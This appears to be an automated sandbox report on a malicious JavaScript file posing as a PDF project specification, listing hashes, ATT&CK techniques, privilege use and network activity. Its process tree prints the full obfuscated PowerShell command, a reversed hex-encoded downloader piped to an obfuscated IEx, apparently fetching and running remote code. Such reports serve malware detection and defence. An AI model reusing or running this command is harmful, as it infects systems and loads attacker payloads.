5767017f3c67cbe1edad867f5606194f99f46309701e97499599ddb449e2fb8d

General

Target

especificación del proyecto_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js
Size

3KB
MD5

ea79f170b2f7531f6aae0190cfac32d3
SHA1

06a49ce472f34b717e2ef5ea2fe758b36bbeaf8a
SHA256

8f0a1868051989d74f2a968a6f326c7ad3c442b4d1b90933a93e3851bebc26a4
SHA512

9a79ca5c74671dca4fdf607fdbd67b1f42afac4239f5de83499cb8e70fd971a9a4c976599baeebb3e060f31229021d6f9110693ed0fd8d6237b2d4eedca94b4b

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2684	2720	Powershell.exe	30

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2684	Powershell.exe
5	2684	Powershell.exe
6	2684	Powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	Powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2684	Powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2684	Powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2684	Powershell.exe
Token: SeSecurityPrivilege	2684	Powershell.exe
Token: SeTakeOwnershipPrivilege	2684	Powershell.exe
Token: SeLoadDriverPrivilege	2684	Powershell.exe
Token: SeSystemProfilePrivilege	2684	Powershell.exe
Token: SeSystemtimePrivilege	2684	Powershell.exe
Token: SeProfSingleProcessPrivilege	2684	Powershell.exe
Token: SeIncBasePriorityPrivilege	2684	Powershell.exe
Token: SeCreatePagefilePrivilege	2684	Powershell.exe
Token: SeBackupPrivilege	2684	Powershell.exe
Token: SeRestorePrivilege	2684	Powershell.exe
Token: SeShutdownPrivilege	2684	Powershell.exe
Token: SeDebugPrivilege	2684	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2684	Powershell.exe
Token: SeRemoteShutdownPrivilege	2684	Powershell.exe
Token: SeUndockPrivilege	2684	Powershell.exe
Token: SeManageVolumePrivilege	2684	Powershell.exe
Token: 33	2684	Powershell.exe
Token: 34	2684	Powershell.exe
Token: 35	2684	Powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\especificación del proyecto_doc04361120200924113759_ACF.28668_DPJ2020012681085.PDF.js"
1⤵
PID:2968

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -ExecutionPolicy Bypass $WtsGi='D4!C7!72!72!02!E6!96!F6!A6!D2!02!37!27!16!86!34!96!96!36!37!16!42!02!D3!76!E6!96!27!47!35!96!96!36!37!16!42!B3!D7!22!F5!42!87!03!22!D5!56!47!97!26!B5!D5!27!16!86!36!B5!B7!02!47!36!56!A6!26!F4!D2!86!36!16!54!27!F6!64!C7!02!72!D2!72!02!47!96!C6!07!37!D2!02!67!D6!42!02!D3!37!27!16!86!34!96!96!36!37!16!42!B3!92!72!76!07!A6!E2!13!13!44!F2!27!76!E2!37!96!46!96!E6!96!46!16!46!16!B6!96!47!37!96!47!07!16!67!E2!27!56!47!47!56!C6!37!77!56!E6!F2!F2!A3!07!47!47!86!72!C2!46!F6!86!47!56!D4!A3!A3!D5!56!07!97!45!C6!C6!16!34!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!C2!72!76!E6!96!27!47!35!46!16!F6!C6!E6!77!F6!44!72!C2!97!47!47!42!82!56!D6!16!E6!97!24!C6!C6!16!34!A3!A3!D5!E6!F6!96!47!36!16!27!56!47!E6!94!E2!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!B5!02!D3!67!D6!42!B3!92!72!36!96!37!16!24!C6!16!57!37!96!65!E2!47!66!F6!37!F6!27!36!96!D4!72!82!56!D6!16!E4!C6!16!96!47!27!16!05!86!47!96!75!46!16!F6!C4!A3!A3!D5!97!C6!26!D6!56!37!37!14!E2!E6!F6!96!47!36!56!C6!66!56!25!E2!D6!56!47!37!97!35!B5!02!D5!46!96!F6!67!B5!B3!D4!C7!72!92!47!E6!56!72!B2!72!96!C6!34!26!72!B2!72!56!75!E2!47!72!B2!72!56!E4!02!47!36!72!B2!72!56!A6!26!F4!72!B2!72!D2!77!56!E4!82!72!D3!97!47!47!42!B3!23!23!07!42!02!D3!02!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!A3!A3!D5!27!56!76!16!E6!16!D4!47!E6!96!F6!05!56!36!96!67!27!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!B3!92!23!73!03!33!02!C2!D5!56!07!97!45!C6!F6!36!F6!47!F6!27!05!97!47!96!27!57!36!56!35!E2!47!56!E4!E2!D6!56!47!37!97!35!B5!82!47!36!56!A6!26!F4!F6!45!A3!A3!D5!D6!57!E6!54!B5!02!D3!02!23!23!07!42!B3!92!76!E6!96!07!42!82!02!C6!96!47!E6!57!02!D7!47!56!96!57!15!D2!02!13!02!47!E6!57!F6!36!D2!02!D6!F6!36!E2!56!C6!76!F6!F6!76!02!07!D6!F6!36!D2!02!E6!F6!96!47!36!56!E6!E6!F6!36!D2!47!37!56!47!02!D3!02!76!E6!96!07!42!B7!02!F6!46!B3!56!E6!F6!26!45!42!02!D4!02!C6!16!37!B3!92!72!94!72!C2!72!E3!72!82!56!36!16!C6!07!56!27!E2!72!85!54!E3!72!D3!56!E6!F6!26!45!42';$text =$WtsGi.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('!') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`x
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2684-4-0x000007FEF67FE000-0x000007FEF67FF000-memory.dmp

Filesize
4KB

Download
memory/2684-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2684-6-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2684-7-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2684-8-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2684-9-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

Filesize
9.6MB

Download
memory/2684-10-0x000007FEF6540000-0x000007FEF6EDD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing